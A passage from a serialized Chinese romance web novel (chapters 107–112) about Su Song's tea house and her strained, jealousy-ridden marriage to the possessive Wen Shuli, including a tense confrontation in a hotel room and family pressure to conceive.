林美丽听了,人都要站不稳,还在被小儿子温衡扶住。她吩咐人:“快备车,送医院啊。你们都耳聋了吗?”
“不行!”温航之却不让。
“为什么不行?阿泰他要**,我的儿子。”
温航之看着二儿子,眼中有悲痛,神色有担忧,但他还是不让人送医院。
“医院一去,所有人就会知道我们温家出现手足相残的事情。”大家族的家宅不宁,从来不只是被看笑话这么简单,温家这块大蛋糕,多的是人想要来分。
“不能让人有机可乘。”
温航之的话,让林美丽哭起来:“那要怎么办,难道你惧怕你那个大儿子已经怕到这样,要看着阿泰死吗?”
她低头擦眼泪,却给小儿子使眼色。
温衡说:“爸,二哥**是不对,可他花钱买痛快,你情我愿,不算伤天害理。
至于他对大嫂,又没有造成过实质性伤害,是他身边的人要讨好他,擅作主张,才让大嫂受伤。
按我看,是大哥借题发挥,他一直都不喜欢我们,大嫂受惊吓,正好被他找到由头教训而已。”
“二哥现在就剩一口气,如果你不打电话给他,也许回来的就是二哥的尸体了。”
“他敢!”手心手背都是肉,温航之再恨铁不成钢,温泰也是他的儿子。
反观温戍礼一直跟他对着干,根本没把他这个父亲放在眼里。
林美丽再次开口,带着哭腔,声音哀转:“我可怜的阿泰,怪你投错胎了,如果你**,妈妈也不活了。”
温衡:“妈,那我呢?”
都说枕边风才是定向标,妻子的哭声,小儿子的不满,让原本还有所摇晃的天平开始倾斜。温航之当即下了决定:“叫人包个转机,最快的航班,送国外治疗。”
。
温家的事情,苏颂不关心,对她来说,跟她有关的只是温戍礼而已,那家人,对她好就是家人,对她不好,就是陌生人。
于是在茶馆听到温泰被送到国外的时候,苏颂只是顿了顿。
温禾看着她的反应,讶异,问:“你不知道?”
苏颂笑,把新炸好的臭豆腐放在桌子上,说:“我不住温家,最近忙着店里的事,更少过去。”
不管内里合不合,在外一定要保持和气,不能让人看笑话。她奶奶一直注重家庭和睦,从小就教育她家和万事兴。
可受伤害的是她,苏颂做不到还为温泰树立形象,说好话,只能找个自己不知道的理由圆过去。
温禾成了店里的常客,最近经常来,跟苏颂的关系进展不少,所以靠近苏颂,在她耳边悄悄的说:“我听我爸说,是泰叔得罪人了,被人修理得很惨,出国是去治疗了。”
说完,温禾退开一些,坐在椅子上,一手托腮,一手拿了块臭豆腐咬,那点大小姐的气质
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都被这臭豆腐给影响没了。
每次苏颂看着这些穿着贵气、打扮精致的人,到她这里吃臭豆腐,都会有种把神仙拉下神坛的感觉。
造孽啊!
这个温戍礼,脑回路怎么能这么反差呢。居然想到茶馆买臭豆腐,哎!
苏颂默默将那盘坚果移到温禾面前,敷衍的“哦”了一声。
“是吗?”
温禾吃着臭豆腐配着茶,晃着腿,一副形象都不要了的样子,说:“这事我就跟你说,你可别回去问啊,万一叔来问我,我肯定说不知道。”
苏颂苦笑,就是温戍礼干的,他自己最清楚,根本不需要问。
温禾吃了一块,直接略过眼前那盘坚果,又拿了一块臭豆腐,嘴里还说:“没想到你还是个经商天才,你是怎么想到开高档茶馆,卖路边摊货的?
不过,还真配,太好吃了。”
苏颂看着那盘被忽略的野生黑松露,默默不作声。
温戍礼送她茶馆,是为了让苏颂有点事做,不要去找闫丽他们。但苏颂却把店做起来了。
一个月的时间,没有打广告,但生意却一天比一天好。
这天,闫丽也来了,看到苏颂,一脸哀怨。
苏颂却对她笑了。
闫丽说:“还笑,就因为你老公一句话,就要丢弃我们多年的友谊,重色轻友的家伙。”
苏颂走过去,抱了抱她,说:“别气啦~”
刚开始认识的时候,闫丽野,苏颂乖,两人常常话不投机,但苏颂赖皮贪玩,经常不高兴的走了,过几天又舔着脸来——因为她不敢去别的夜店。
每次闹了后她再来,闫丽都会故意不理她,苏颂就会抱着她,甜甜的喊她“姐姐,别气啦。”
年少的女孩,跟汤圆一样,甜甜糯糯的,再加上她天生的好模样,撒娇起来,让人觉得连风都是香甜的。叫人不好再生气。
闫丽嗔她,问:“还跟我们绝交吗?”
苏颂道:“我没想过跟你们绝交。”
她坐下来,笑得几分调皮:“现在我们不是见到了?”
107 她问:你是不是喜欢我?
苏颂双手托腮,眉眼维扬,一副得意的样子:“他送我店面,不是让我更自由了。”
“以后你们来店里,我们就能见到了。”她笑眯眯的,如同一个偷吃到糖的孩子。
“不过丽姐,你这次的情报太慢了,居然现在才来。”
闫丽摆手:“没办法,姐现在是在南城,不是在云城,蛟龙失水不能游啊!”
闫丽没说,因为上次的事情,周扬平半个月没理她,周正焕也跟失联一样,没去她店里,她有心找苏颂,也没有打听的渠道。
她开茶楼的信息,还是她使出浑身解数把人哄好,才得来的红利。
她偷骂:某人真狗!
苏颂却因为她的话,笑出声:“丽姐,你说成语有点好笑。”
闫丽:“好笑个屁!”
苏颂笑着笑着,眼眶不自觉就红了,“丽姐,不要觉得这样偷偷摸摸的就不来好吗?我也没办法,戍礼他人很好,他就是古板了一点。”
他觉得交往闫丽这样的朋友会带坏她,跟她奶奶一样,出发点是为她好,只是,她大概骨子里就有叛逆的因素在吧,她只有和闫丽合得来。
没有朋友的时候,她能忍受没有朋友的日子,但是接触到了,让她再断,也难。所以她决定,跟以前在云城的时候一样,面上听话,私底下依然跟闫丽偷偷来往。
她自己清楚,闫丽不会带坏她的就行。
“我又不是小孩子了,为什么老是不信我。”她奶奶是这样,他也是这样。
闫丽瞧着她,震惊的问:“你以为温戍礼是怕我带坏你?”
“不是吗?他让人砸你的店,还让你离开南城,不就是怕你带坏我。”苏颂有一双会说话的眼睛,懵懂的时候,看清楚无辜极了。
闫丽对上那双眼睛,说不出让她防火防贼防男闺蜜的话,毕竟她这么单纯,又怎么会想到,周正焕对她好,藏了那么多心机呢。那家伙,大概知道自己的心思被看穿,所以最近都不敢出现了。
闫丽自诩见过不少男人,对男人有一定了解,但也是最近才看出来周正焕的贼心。他居然觊觎苏颂!
周家的男人,都太会隐藏了。
闫丽心里一嗤,只说:“他一开始是误会我跟你是拉拉,后来知道不是,就给我补偿,让我把店重新装好了。”
这下换苏颂震惊了:“拉拉?!”
闫丽也觉得温戍礼会这样想,太逆天。也笑起来:“他是吃醋呢,说不定他也喜欢你。”
告诉苏颂,砸店的时候后,闫丽过了一段心切难安的日子,她怕苏颂知晓后,跟温戍礼闹,万一闹大了,离婚怎么办?
虽然可能性不大,但人一旦做亏心事,就会容易胡思乱想,心虚。加上她最近联系不到苏颂,她更急了,以为真出事了。比起给温戍礼找点不快,给自己出点气,闫丽最后还是更希望好姐妹能幸福。
她那双桃花眼一挑,循循善诱着苏颂:“努力点,让他对你情根深种。”
她那上下打量的目光,带着点颜色。
傍晚,苏颂回到家,温戍礼正叉着腰,跟嘟嘟大眼瞪小眼,见他对一只猫发不出脾气的样子,苏颂赶紧过去,将猫抱起来:“嘟嘟又吵到你了吗?”
这猫已经在家养了一个月了,很奇怪,明明喂食喂水都是苏颂,可它就是对温戍礼越来越亲近,一看到他回来就要蹭他,还爱叫,经常吵得他没办法专心工作。
温戍礼看她护着猫的样子,吁出一口气,尽量调节心情:“把它送去宠物店寄养吧,你现在要忙店里的事情,也顾不到它。”
生意渐渐好了,苏颂也变得早出晚归,现在回来得比他还晚,最近的猫都是阿姨在照顾,阿姨都暗戳戳示意他得加工资了。
倒不是他加不起这点工资,而是他的本意,猫是给苏颂消遣的,她都顾不上,那这猫在这家里就没意义。
他扫那躲在苏颂怀里的猫一样:没用,还占他的福利!
苏颂见猫往她怀里躲,摸了摸猫头,说:“要不然,我把嘟嘟带去茶楼养吧。”
都行,只要别吵到他就行
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,温戍礼没意见。
苏颂将猫抱回偏房,把它关在猫笼里再出来,然后洗手,进厨房,温戍礼那天在茶楼提了条件,希望她每天至少做一顿饭给他吃。
苏颂现在只有晚餐才回来,但是回来已经很累了,做一顿饭够呛,于是又跟温戍礼商量了,能不能只做一个菜。
温戍礼起先不同意,让她别管茶楼那么多,有人打理,把时间跟精力放在家里。
但最后,他还是答应了。
晚上,温戍礼吻着她,从嘴巴到脖子,到胸口,有些痒,苏颂忍不住,条件反射的抱住他的脑袋,想让他停下。
“痒。”她说。
温戍礼说:“你跟摸嘟嘟一样,摸摸我。”
苏颂以为自己听错了,原本都有些意乱情迷的眼睁大起来,有些不解的看着他。
可男人却仰着脑袋,倨傲又神气的说:“本来就是我的福利,区区一只猫!”也配。
苏颂:“……”
他这样跟他平常的样子,真太反差了,难怪闫丽说他闷骚。
见他连一只猫的醋都吃,苏颂试探性的问他:“你是不是,喜欢我?”
他没有回答,只是极力表现,在浮浮沉沉间,苏颂好像听到他说:“你是我老婆。”
因为是老婆,所以占有欲作祟,还是有喜欢的意思,才吃醋呢?
苏颂搞不懂,她变得很忙,不知道她的臭豆腐茶楼怎么就成了网红打卡地了,人越来越多,本来六点就关的茶楼,现在都要延长到晚上九点。
而温戍礼一开始有牢骚,不爽的时候,还让她把店关了,不过苏颂觉得,他就是看她每天太晚回来不能给他做饭,觉得她不守信用吧,苏颂也很不好意思,不过好在,他出差了,新项目事多,他也很忙。
这天,闫丽来了,点的甜点一直没上,门口的服务员也不知所踪,只能自己出来催,结果一只猫绊住她的脚。
“猫?”闫丽弯腰将嘟嘟抱起来,“颂颂在这里养猫啊!挺可爱的。”她摸了摸,抱着猫去找苏颂。
108 猫是老公送的,茶艺是旧友教的
闫丽问了前台,才知道苏颂在后厨,这是闫丽第一次到茶楼的后厨,这里干净宽敞,可以容得下十来个人一个忙活。
她不禁感叹:“姓温的,真有钱。”
“扣扣。”她抬手敲了敲厨房门,木制的门板,发出闷闷的响声。
苏颂转过头来,看上闫丽,说:“丽姐,我在忙。”
闫丽走过去,直接将她手里的锅铲拿下来,说:“别给师傅们添乱了。”她语气轻轻的,看苏颂的眼神,有种无语的样子。
苏颂转头看向主厨,这主厨就是温戍礼找遍南方,花了重金请来的,坐招牌臭豆腐的大厨。
此时他憨憨胖胖的脸上,对苏颂露出一个勉强的笑。
苏颂这才知道,自己想进来帮忙,结果却越帮越忙。
两人出来,闫丽说:“你对自己的厨艺几斤几两没数?”
苏颂觉得受打击,奄巴巴的说:“可是戍礼他很喜欢我做的菜。”
“他?”闫丽一脸不可置信,觉得自己会不会听错了。
“是啊,最近因为店里生意太好,没办法回去给他做菜,他都不理我了。
我以为是我做菜好吃呢。”结果刚才里面五个厨师,每个人的话都很含蓄,但她听得明白,都是请她出去的意思。
苏颂有被打击到,抱过嘟嘟,一把撸猫,寻求安慰:“嘟嘟,我真那么差吗?我有空做鱼给你吃好不好。”
“嗷~”猫叫了一声,脑袋扭向一边,苏颂更沮丧了,闫丽却笑了。
“连猫都嫌弃你。”闫丽也觉得这猫有灵性,瞧着就喜欢,问,“你后来又买了一只吗?”
苏颂说:“就是我们那晚去买的那只啊,那只小蓝猫啊!”她将猫抱起来,给闫丽展示。
可闫丽看着猫,却说出一个残忍的事情:“那晚那只猫,**啊!”
本来猫掉下来后就跑了,可不知道是不是小猫太小,摔下来的时候受伤了,还是中间跑的时候,被其它动物伤到,闫丽找到的时候,那小猫靠在墙角呜呜,她就是蹲下去查看的时候,被何生宝打晕,拖去老房子的。
“我亲眼看到的,那猫后面没声音了。”
苏颂看着怀里的猫:“那这猫?”
等苏颂说完猫出现的时间后,闫丽猜测说:“会不会是姓温的送你的?”
苏颂否认:“我之前要养,他不让,他最讨厌小猫小狗了。”
“难道是他?”
“谁?”
闫丽没有说,只是行色匆匆的,说要走了,连剩下没上的甜点都不要了。
苏颂撸着猫,越想越觉得奇怪,真的是温戍礼送她的吗?
她拿出手机,上面最后一条消息是他昨天发的【出差。】
没有说几天,简单明了。
苏颂编辑了好几条消息,却删了又删,一直发不出去。昨天他要出差,还说了好几次,行李呢,她听得明白,他是要她去收拾,可她很累。
心里也有赌气的意思在,他想要控制自己,不让她有自己的社交,那她如了他的愿,一心管理酒楼了,也不想在别的事在为他费心,她便装困没收拾。
苏颂这人就是看着乖,其实挺倔。
现在……她看着在脚边蹭她的嘟嘟……万一猫真是他送的呢。
。
云城,温戍礼总算是见到周扬平。
依然是在藤园阁,不过这次周扬平还亲自冲茶给他喝。
“伤你的人,不是我本意,不过我还是代她跟你道个歉。”
温戍礼此次来,是为自己的人跟踪闫丽一事解释,不曾想,倒是对方先道歉。
看着对面的人,唇角保持适当弧度,温温和和的笑,领略过周扬平的深沉,温戍礼没有掉以轻心。
他端起茶,说:“看来周三爷是真上心,有些令人意外。”他看着平静的茶水平面,抬眸看向周扬平。
周扬平笑了一下:“外面不都是我们周家人是情种,自己的女人,总要护着。”
他把闫丽归为自己的女人?如果是别的男人,温戍礼会觉得这是男人基本的担当。可这人是丧妻不娶的周家三爷,而闫丽,却是个不清白的夜店老板,这两人说认真,鬼信!
周扬平是个客套又
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圆滑的人,显然是要平息这事。温戍礼理亏在前,今天也是希望周扬平能过马的,便浅笑迎合。
温戍礼垂眸,喝了茶。又道:“外面流言虚虚实实,难以当真。不过三爷说的,就是真的了。
那不知,周家的痴情是认定即是,还是得有名分才是?”
“哦,温总有话不妨直说。”
他打量周扬平泡茶的手法,说:“我发现内人的茶艺,跟周三爷有点像。
但内人说,她是在云城跟茶艺老师学的,是周大少教的吧。”苏颂说谎的技术不太好,只是他从没怀疑过,要不是今日见到周扬平,他可能会一直被蒙在鼓里。
周扬平维护自己的女人,温戍礼也接受不了自己的妻子,跟别的男人不清不楚。
两个都是上位的强者,都感受到了对方对自己女人的占有欲。
周扬平回看着他,也没有装糊涂,说:“正焕泡工夫茶的手艺是我教,他又交了苏颂,有点像很正常。”
“温总不会连两个小孩子少年时期的来往都介意吧?”
温戍礼道:“倒是不至于,不过周大少到底年轻,可能做事不掂量,以前年少情谊是年少情谊,现在苏颂已经成为我的妻子,有些分寸,还是要注意一下。
免得大家都知道周家人痴情,对我老婆太好,容易被人代入。”
周扬平一向都是他管别人,现如今却被温戍礼奉劝上了,在他走后,周扬平冷笑一声:“小叔已经很多年没被人这样教育过了,你们一个两个的,可真给我长脸。”
屏风后,周正焕出来,讪讪的摸了摸鼻子:“我是为了救颂颂,是姓温的不分好歹。”
周扬平没打算在这件事上对他生气,一边冲茶一边说:“以后别再管苏颂的事情。”
哪知道周正焕却说:“那也要姓温的对颂颂好才行。”
周扬平怒:“执迷不悟!”
。
温戍礼出来后,在云城酒店门口抽烟,一个年轻男人经过,那人西装革履,一派精英的样子,但身上那种冷,连他都忍不住多看一眼。
109 爱情有时效,不主动,先来也没用
“这是云城哪家的人,问一问。”他夹着烟的手一指,同肖直说。
肖直只看到那人的背影,应下了。
“夏总已经在等我们了。”肖直道。
温戍礼丢开烟,皮鞋踩上去,离开。
李斯俊进了大门往回看,觉得有人在看自己,但是门外并没有人。他打电话给周正焕:“我到了,在哪?”
这边,苏颂也来了云城,她问了温戍礼,但他没回。
苏颂自己复盘,结果种种迹象都指向猫是温戍礼送的——出现在家里的猫,他同意养猫,他嫌烦但也没有丢掉的猫。
以温戍礼那古板又冷傲的性子,要不是他自己愿意买的,怎么可能会容得下嘟嘟。
一想到人家送她店,又送她猫的,她居然连饭也不做给他吃,行李也不给他收,这让苏颂很愧疚。
人就是这样,一旦愧疚起来,就会挖对方的各种好,然后苏颂细数之后,发现这些年都是温戍礼在对她好,对苏氏付出,她对他的奉献微乎其微,比较下来,连最近闹别扭那点气都没有了。
“他到这边都是住云城酒店,我去酒店再给他打电话吧。”苏颂只带了一个背包,简便出行,打车直奔酒店。
途中,两车错过,温戍礼见周扬平的时候,把手机关了静音,这会才看到苏颂的信息。
【嘟嘟是你买的吗?】
“小骗子!”温戍礼在生气,直接关了手机,不回复。
他目视前方,调整呼吸,不然迟早被她气死!
而苏颂在出租车里,还在嘀咕:“他怎么不回消息?我要不要告诉他我到了?”
苏颂从没有这么忐忑过,毕竟以前,她不敢跟温戍礼闹,他说难听话,她就躲房间里自己消化,他说不,她就不会说是。
“他对我为什么越来越好了?难道真的像丽姐说的,他真喜欢我?”苏颂握着手机的手有些激动。
喜欢一个人就算藏得住,也会不甘心,苏颂喜欢温戍礼,她也想得到温戍礼的喜欢。
这一刻,她心里全是对丈夫的爱意,幻想着怎么跟他袒露心意,两人心意相通,下车的时候,心无旁骛,眼睛都没有看到前面的人。
李斯俊停下来,问也停下来的周正焕:“刚刚的人,是颂颂?”
周正焕回头,一直盯着那个背影,说:“像。”
“颂颂。”周正焕已经开口喊她。
苏颂听到有人在喊她,回头,看到两人,瞬间笑颜如花:“正焕,斯俊。”
李斯俊本来还不相信,怎么会忽然在云城遇到她,当她转过身来,展开笑颜朝着他们走来时,他才知道,真的是他。
“嘶!”手里的烟烫到了手,他立马丢开。
苏颂也来到跟前,她说:“好巧,居然会遇到你们。”
周正焕笑着问她:“你来看苏奶奶吗?”
苏颂说:“不是,我来找戍礼的。斯俊,你能让你家前台告诉我戍礼住那间房吗?”
云城酒店,是李家的。
“最好,还能让我进去。”她红着脸,不好意思的说。
温戍礼没有回复苏颂,却给家里的阿姨打了电话,得知苏颂中途回家简单收拾后来找他,他立刻让人掉头回酒店。
却不曾想,撞见了在酒店门口的三人。
车窗半落,露出他那张冷漠矜贵的脸,此时他的眼神不再倨傲,而是覆盖了一层淡淡的哀伤。
他的妻子,此时在两个男人之间,笑得纯真,时不时还露出娇羞的模样……
温戍礼点了根烟,夹着烟的手指伸出窗外,隔着燃起的薄烟,那画面却依然清晰的一帧帧入了他的眼。
他知道,苏颂嫁给他,不是因为爱他,可知道不同于接受,她心里有别人。
难怪她那么放不下她那些“朋友”,原来她的心都给了她的“朋友”。
“朋友”不过是掩盖动心的包装。原来在嫁给他之前,她心里有爱的人。
肖直也看到了,被酒店门口那一幕吓死,他甚至不敢看后面。他的上司刚开情窍,怎么就遇上这样的火葬场?
就在肖直后背冒冷汗的时候,车后座的人终于开口:“开车。”
苏颂怎么哀求
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李斯俊都没用,他说不能泄露住客信息,是酒店的准则。
“她是我丈夫,又不是别人。”苏颂噘着嘴,觉得李斯俊太不懂变通了。
苏颂当面说温戍礼是她丈夫,这跟拿刀割李斯俊的心没两样,她可真是不知道这句话的杀伤力有多大。
周正焕见李斯俊都要急红眼了,避免他失态,赶忙打圆场:“阿俊说的也对,不能因为他是少东家就破底线,这样传出去以后怎么做生意。
你要是想住,刚好,我开了一间房,我要跟阿俊出去,也不住了,你先去里面等着,问清楚温戍礼在哪间房,再去找他就行。”
苏颂看着手机聊天界面,他还没回,现在给他打电话不知道会不会打扰他,于是点头听了周正焕的建议。
苏颂一走,周正焕立刻手动把李斯俊转过身,让他背对着酒店:“你可别哭啊,是谁当年拍着胸口说,绝对不会喜欢颂颂的。”
年少的喜欢总是萌芽在不知不觉间。
周正焕原本觉得这个同桌只会装酷,一天到晚话也说不到几句,不知道什么时候起,他会提及苏颂。
他说苏颂是个笨蛋,连自保都不会。
他说苏颂真是个傻瓜,一道题翻来覆去的讲她还是不会。
他会说苏颂好烦,但回头又跟他借解题思路,琢磨着用最简单的解题方式,去教她……
那段每天都是做题做题的无聊时光,因为多了这个女孩的话题变得不那么无聊了,渐渐的,周正焕也好奇这个女孩,跟着李斯俊说苏颂苏颂。
但他会说:李斯俊,你女朋友苏颂。
李斯俊,苏颂又把你气到了?
李斯俊,你喜欢她吧。
中二时期的快乐总是很简单,周正焕爱玩,无聊的时候就逗李斯俊,说他喜欢那个又菜又爱玩的女孩。但李斯俊就是太爱装酷了,一直否认。
还说“我绝对不会喜欢那头猪的”。
李斯俊说,苏颂是猪,是笨蛋。偷偷地,私下说。
周正焕拍了拍他的肩膀:“你醒悟得太晚了。输得不冤枉。”
110 矛盾升级。一开始的不对等终成隐患
他在苏颂最需要他的时候缺席了,不能怪她找了别的男人保护。
李斯俊垂眸,俊脸落寞的说:“我后悔了。”
……
苏颂在房间里等温戍礼,她正打算给温戍礼打电话,倒是先有来电。
是她奶奶。
苏颂接听:“奶奶,你知道……”我来云城了?
后面的话还没说完,就被苏凤打断。
苏凤的声音因为激动变得有些激昂:“颂颂,戍礼真是我们家的大贵人,他给苏氏拉了一个国外大订单。
有了这个单子,苏氏接下来十年都稳了!”
听得出来苏凤很高兴,她已经快八十岁了,苏氏能稳步发展个十年,在她有生之年,可就都不用愁苏氏了。
苏颂并不知道这件事,那端又传来苏凤的声音:“你要好好谢谢戍礼知道吗?
收起你的小性子,别跟他闹脾气,他那么忙,回家就要让他舒舒服服的,把他照顾好,就是你身为妻子最重要的任务。”
谁家祖孙是这样的呢?难得通个电话,还是下命令。苏颂心生反感,连她在云城都不说了,她甚至都不想回去看奶奶。
因为她能想象得到,现在要是她回去,奶奶关心的绝对不是她,还只会怪她怎么能不在家等丈夫,独自跑回娘家。
跟温戍礼结婚后第二年,因为误会,温戍礼对她总是忽冷忽热,而不知真相的她,每次都被他的话中伤。
有一次,她问了苏氏的近况,结果被他说“交给我不放心,你就自己管,管不了,就少问”给斥了一顿。偏偏当时,是在温家,林美丽跟帮佣还在,他不给她留一点面子。
苏颂可以躲在家偷偷掉眼泪,但却受不了在人前丢脸。于是,她趁着温戍礼出差,自己订票回了云城,回了苏家。
她已经卑微懂事到偷偷地回了,可奶奶还是怪她。
她甚至说,嫁出去的女儿泼出去的水,从古至今,女孩子出家就从夫,不能闹点矛盾就回娘家,会被人说她没把孙女教好。
她的奶奶活在旧社会的闲言碎语里,明明是旧制的受害者,可她却也成了那些糟粕思想的传播者。
她怕被人背后说闲话,她一生追求成功,爱护名声,她要求孙女也得为苏家的名誉而活,绝对不能让她,让苏家有一丁点污点。
不好的回忆,让苏颂透不过气,对耳边手机传出来的话,更是听不清。
“我问你话呢!”
苏颂回神:“嗯?”
苏凤问:“你跟戍礼备孕这么久,怀上没有?”
苏颂说:“没有。”这个月月初有来月经,上个月备孕又失败了。
苏凤又说了一些让她调理身体,尽早怀孕的话,才挂了电话。
一通电话听下来,比爬了一座山还累。
拿着手机的手垂在一旁,苏颂的另一只手捂着脸。
好窒息。
。
苏颂是在晚上八点到温戍礼的房间的,他给她发消息【2113】。没有问候,没有关心,没有前言后语,只有几个数字。
但苏颂就懂了,他知道自己在云城,甚至知道自己就跟他同住一个酒店里。
但是是什么时候知道的呢?
苏颂走进去,笑问:“你怎么知道我来了啊?”
温戍礼没有回头,只是眼尾往后一瞟,连身形都没动过的开口:“你跟周正焕还有联系?”
谁也不知道,温戍礼回来后,得知苏颂在周正焕的房间里,那种愤怒感,他甚至已经冲到那间房间前,准备就算是砸门,也要把人带出来了。
好在,肖直及时告知,说周正焕下午出去后就没回来了。
她不是跟周正焕待在一个房间里的,可是她待在周正焕开的房间里。
温戍礼很生气。他转过身,问她:“就这么放不下他吗?”
苏颂被他问得不知所措:“你在说什么?我听不懂。碰见正焕只是凑巧。”
凑巧?谁知道他们是不是约好的,来这边碰面。温戍礼咬着后牙槽,努力压下心中那翻江倒海的怒意。
苏颂看出来他在生气,可她真没有跟周正焕联系,从上次他说介意之
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后,就没有了,周正焕也没有联系她。她已经解释过了,于是苏颂问。
“那只小猫是你上次出差带给我的礼物吗?”这才是她这次来的目的。
她尽量在笑,毕竟如果温戍礼是真在意她,也喜欢她的话,那将会是很高兴的事情。
他没回答,只是别过脸,显然余怒未消。
可默认何尝不是一种承认。
这一刻,苏颂是开心的,原来这场婚姻,不是她一个人的暗恋。她朝他走近,想缓和气氛,又说。
“奶奶说,你给苏氏拉了一个大单,谢谢你。”
闻言,温戍礼的唇角一勾,很讥诮的笑。可惜苏颂这个角度只能看到他的侧脸,以为他只是在笑。
他高兴了吧?
苏颂走到他面前,鼓足勇气,看着他,她想面对面,清楚的要一个答案:“戍礼,你喜欢我吗?”
这个她一直以为永远也不用问,问也得不到答案的问题,再一次被她问出来,并且,这一次,他直面给了她回应。
“喜欢。”温戍礼没再避讳这个话题,他一向是个敢闯敢当的人,只不过他过于理性,并不擅长把情情爱爱挂在嘴边。
他很直接,很肯定。他的眼里,是眼睛一亮的苏颂。
她很高兴。
“你喜欢我吗,苏颂?”温戍礼低头拿出烟,敲出来一根,抽出、衔上,点燃。动作一气呵成。
明明他是连谈上亿的生意都不曾退却的人,可这一刻,他还是避开跟她四目相对。
她那双眼睛太亮,太好看了,他不想沉沦,想保持理智。
尼古丁的味道,让他醒了醒神,同时,苏颂的回答也飘进他的耳朵里。
“喜欢。”她的声音轻轻的、柔柔的,像是一个羞怯表白的少女。
如果不是刚在几个小时前,才看到她在别的男人面前,也能展露这个娇态模样的话,也许他就信了。
她太会伪装了。
温戍礼含着烟,说话的时候,烟支上下晃动,语句却不够模糊,一字一句像是刀子一般,能伤人。
111 温苏夫妻矛盾升级,暗恋者重生,争
“是因为我又救了苏氏才喜欢的吧?”
他一把搂住苏颂,两人的距离变得亲密无间。可身体的亲近,也阻挡不住他这张刀人的嘴。
“为了苏氏卖一次,值钱。又想卖第二次?”他玩味的看着怀里脸色渐渐变白的人儿,俯低下去,另一手拿掉香烟,丢在房间的地毯上,又抱住她,在她耳边说。
“第二次,就不值钱了。这一次,你要拿什么筹码?孩子吗?”
苏颂的身体已经开始颤抖,但是她刚知道温戍礼是喜欢她的,她不想是自己又误会他了,压制住自己的快速的心跳,尽量缓着语气说。
“你今天怎么了?我喜欢你,是喜欢你这个人,跟苏氏没关系。”
他成熟又有魅力,她是被他吸引。虽然奶奶很啰嗦,经常说她不喜欢的话,但她说得没错,温戍礼是个值得托付一生的男人。
苏颂只是慢热,又不是迟钝到感受不到,她对温戍礼是日久生情。
“怎么会没关系,不是因为苏氏,你会从云城去到南城,求温家联姻?”
求?夫妻之间,说到谁求谁,算账就没意思了。
苏颂已经开始生气了,她推他,推不动,开始挣扎。
温戍礼却控制着他,推拉间,步伐踩中那烟蒂,被烧焦的羊毛味,冲的人上头,火气趁机直逼天灵盖。他紧紧攥住她的手腕。
“心没清空,就别招惹我,我这里又不是收留站!”
苏颂被他逼得步步后退,最后撞在墙壁上,无路可退。她又气又急:“温戍礼,你够了!”
“没够!”
“你还没说,这次我又帮苏氏度过危机,你要怎么谢我。”
苏颂被他握得手腕疼,疼得眼泪都快流出来了。
蓄满泪水的眼,楚楚可怜,她说:“我也是刚知道,你想要什么?”
他勾唇,笑得冷意:“我要你就给吗?我说的话你又不听。”
今晚的温戍礼很强势,夜影绰绰,伴着苏颂低低的哭声。
午夜时分,房间一片凌乱,男人坐在床边穿衣服,苏颂忍着身体的不适,哑着声音问:“你要去哪?”
“处理你们苏氏的事情。”
他刻意强调,显得生疏。
苏颂说:“如果你不想管苏氏了……”
“我能不管?娶你的时候,苏氏不就是我应该管的吗?我只是不喜欢你老是提起。”
。
隔天,苏颂跟闫丽说了这件事。
她昨天满怀期待地去,结果得到想要的答案,事情却变成这个样子。
“我又做错什么?我现在什么事都跟他说。”担心有误会,她说什么呢都多了解释,可是明明相互坦白,事情却变成这样。
“我不知道问题出在哪里。”
闫丽听后,表情有些凝重,问:“你怎么遇到小周的?”
苏颂说:“在酒店门口,就是碰巧遇到。他跟斯俊在一起。我不明白他为什么对正焕的意见那么大。”
“什么?你还遇到阿俊,还被姓温的看到了?”闫丽低声嘀咕,“就那小子,看苏颂的眼神就差把‘我爱你’打印出来了,谁都看得出来。”
“丽姐,你是不是知道原因?”
闫丽抬眼,就对上苏颂那双懵懂的眼,说:“大概就是吃醋吧,毕竟看到你跟两个男人在一起,他醋劲大就生气了。”
总不能说,她年少认识,只当作是朋友的两个男的,都对她有意思吧。闫丽这会秉着为那两个收拾手尾的想法,尽量劝圆。
“你不是说,姓温的最近很忙,大概就是工作太多,人一累就心情不好,你别多想。”
“我知道,把苏氏这个担子交给他,对他来说不公平。”
“有什么不公平的,不是当初就知道得这样,才娶你的吗?”闫丽见不得苏颂什么事都往自己身上揽,明明就是一开始都清楚的情况下就结合的,婚后就不能说是拖累。
她真想说,温戍礼要是承担不起,那就算了,让李斯俊来好了。偏偏她也清楚,苏颂喜欢温戍礼。
苏颂说:“他也这样说。”她表情怔然,“可是感情不能用上条件,有了条件,就无法平等。”
为什么,这些年,温戍礼对她忽冷忽热,苏
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颂还能忍,甚至还愿意为他铺平温家的路,让他早些进入盛泰呢。
只因为她清楚,是温戍礼成就了现在的苏氏。她连娘家都需要仰仗他,又谈什么,她付出不付出呢,没有温戍礼这些年硬是把苏氏救活起来,她早就一无所有了。
她是喜欢温戍礼,但是就算没有动心这回事,他们之间的利益也捆绑太深了。
只有他强,她才会好。
闫丽不认同这种同等交换的想法,她说:“如果他真喜欢你,就不会觉得苏氏是负担,更不会觉得你是累赘。
你相信你值得一切最好的,那么你就能享受最好的。
如果连你自己都觉得自己是个拖累,那么你咽下的就只有苦跟累。
人生啊,自己才是自己的主宰。
忍个屁!”
……
闫丽从茶楼出来,就给李斯俊打电话,开口就骂:“你丫,既然不能给颂颂想要的生活,别给她找麻烦行不行。
她喜欢姓温的,好不容易等到姓温的也承认喜欢她,现在因为你,他又对颂颂阴阳怪气!”
“虽然姓温的不是什么好鸟,但人家至少有担当。你既然担不起,就别打扰。”闫丽很生气,为什么她被砸了店,对温戍礼一直有意见,但从来没有劝苏颂跟温戍礼分呢。
因为她清楚,这个社会,一个女人,不找个男人倚靠,自己拼搏有多残酷。苏颂跟她不同,她是野草,从小吃苦惯了,有男人没男人都能自己熬。但苏颂是温室里的花,她需要有人呵护。
李斯俊喜欢苏颂真的不自知吗?了解他的家庭背景的闫丽其实不觉得,因为李家想要李斯俊娶一个门当户对的千金。
李家正是走上坡路的大户,而苏家已经是**末弓的落魄户。
李斯俊年少老成,因为知道条件不符合,所以从没有考虑过。
或者他早就知道自己喜欢苏颂,但被苏家那种情况给劝退了。
闫丽坐在车里抽烟,想到自己经历的那些失败的感情:“这个世界,就是被你们这种人物化爱情,才会变得这么讨厌的。”
112 冷战,温太太上酒吧
因为自己得不到幸福,闫丽才会希望好妹妹苏颂能得到幸福。
那端一直很安静,就在闫丽发泄完,烟也抽完,想挂断电话的时候,李斯俊的声音传来:“我当年离开,就是不想打扰她。”
